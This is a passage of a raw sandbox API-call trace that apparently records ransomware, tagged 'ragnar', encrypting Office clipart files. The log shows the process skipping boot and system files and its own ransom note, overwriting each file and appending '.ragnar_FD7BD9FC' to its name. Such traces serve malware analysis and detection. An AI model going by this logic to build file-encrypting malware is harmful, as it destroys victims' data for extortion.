lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x849c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x849c, lpOverlapped=0x0) returned 1 [0085.784] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x849c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.784] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x849c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.785] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.785] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.785] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.785] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.785] GetProcessHeap () returned 0x580000 [0085.785] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.785] CloseHandle (hObject=0xf4) returned 1 [0085.785] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" [0085.785] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.ragnar_FD7BD9FC" [0085.785] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.786] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0085.786] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.786] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198020.WMF" | out: lpString1="J0198020.WMF") returned="J0198020.WMF" [0085.786] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned=".WMF" [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="autorun.inf") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="boot.ini") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="bootfont.bin") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="bootsect.bak") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="bootmgr") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="bootmgr.efi") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="bootmgfw.efi") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="desktop.ini") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="iconcache.db") returned 1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="ntldr") returned -1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="ntuser.dat") returned -1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="ntuser.dat.log") returned -1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="ntuser.ini") returned -1 [0085.786] lstrcmpiW (lpString1="J0198020.WMF", lpString2="thumbs.db") returned -1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf")) returned 0x20 [0085.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.787] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23726) returned 1 [0085.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ca5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.787] GetProcessHeap () returned 0x580000 [0085.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.787] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.788] VirtualAlloc (lpAddress=0x0, dwSize=0x5cae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.789] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5cae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5cae, lpOverlapped=0x0) returned 1 [0085.790] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.790] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5cae, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.790] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5cae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5cae, lpOverlapped=0x0) returned 1 [0085.790] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5cae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.790] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5cae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.791] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.791] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.791] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.791] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.791] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.791] GetProcessHeap () returned 0x580000 [0085.791] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.791] CloseHandle (hObject=0xf4) returned 1 [0085.791] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" [0085.791] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.ragnar_FD7BD9FC" [0085.791] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.792] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0085.792] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.792] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198021.WMF" | out: lpString1="J0198021.WMF") returned="J0198021.WMF" [0085.792] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned=".WMF" [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="autorun.inf") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="boot.ini") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="bootfont.bin") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="bootsect.bak") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="bootmgr") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="bootmgr.efi") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="bootmgfw.efi") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="desktop.ini") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="iconcache.db") returned 1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="ntldr") returned -1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="ntuser.dat") returned -1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="ntuser.dat.log") returned -1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="ntuser.ini") returned -1 [0085.792] lstrcmpiW (lpString1="J0198021.WMF", lpString2="thumbs.db") returned -1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.792] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf")) returned 0x20 [0085.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.793] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34912) returned 1 [0085.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8857, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.794] GetProcessHeap () returned 0x580000 [0085.794] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.794] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.795] VirtualAlloc (lpAddress=0x0, dwSize=0x8860, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.795] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8860, lpOverlapped=0x0) returned 1 [0085.797] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.797] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8860, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.797] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8860, lpOverlapped=0x0) returned 1 [0085.797] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8860, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.797] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8860, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.798] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.798] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.798] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.798] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.798] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.798] GetProcessHeap () returned 0x580000 [0085.798] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.798] CloseHandle (hObject=0xf4) returned 1 [0085.798] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" [0085.798] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.ragnar_FD7BD9FC" [0085.798] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.799] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0085.799] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.799] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198022.WMF" | out: lpString1="J0198022.WMF") returned="J0198022.WMF" [0085.799] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned=".WMF" [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="autorun.inf") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="boot.ini") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="bootfont.bin") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="bootsect.bak") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="bootmgr") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="bootmgr.efi") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="bootmgfw.efi") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="desktop.ini") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="iconcache.db") returned 1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="ntldr") returned -1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="ntuser.dat") returned -1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="ntuser.dat.log") returned -1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="ntuser.ini") returned -1 [0085.799] lstrcmpiW (lpString1="J0198022.WMF", lpString2="thumbs.db") returned -1 [0085.799] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.799] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.799] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.799] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.799] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.799] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.800] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf")) returned 0x20 [0085.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.801] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26148) returned 1 [0085.801] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x661b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.801] GetProcessHeap () returned 0x580000 [0085.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.801] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.802] VirtualAlloc (lpAddress=0x0, dwSize=0x6624, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.802] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.802] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.802] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6624, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6624, lpOverlapped=0x0) returned 1 [0085.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.804] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6624, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.804] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6624, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6624, lpOverlapped=0x0) returned 1 [0085.804] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6624, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.804] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.804] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.804] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.804] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, 